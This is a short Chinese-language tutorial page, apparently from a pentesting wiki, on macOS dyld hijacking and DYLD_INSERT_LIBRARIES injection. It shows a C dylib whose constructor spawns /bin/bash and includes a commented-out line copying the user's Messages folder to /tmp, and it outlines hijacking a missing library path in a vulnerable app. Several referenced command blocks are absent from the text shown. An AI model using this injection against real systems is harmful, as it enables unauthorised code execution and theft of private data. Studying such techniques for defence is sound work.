macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
DYLD_INSERT_LIBRARIES 基本示例
要注入的库以执行shell:
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}攻击的二进制文件:
注入:
Dyld劫持示例
目标易受攻击的二进制文件是/Applications/VulnDyld.app/Contents/Resources/lib/binary。
根据前面的信息,我们知道它没有检查加载的库的签名,并且试图从以下位置加载库:
/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib
然而,第一个不存在:
所以,它是可以被劫持的!创建一个库,执行一些任意代码并通过重新导出来导出相同的功能作为合法库。并记得使用期望的版本进行编译:
编译它:
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为要导出的库的绝对路径:
最后只需将其复制到劫持位置:
然后执行二进制文件并检查库是否被加载:
更大规模
如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时加载到进程中(在这种情况下删除 printf 和 /bin/bash 执行)。
最后更新于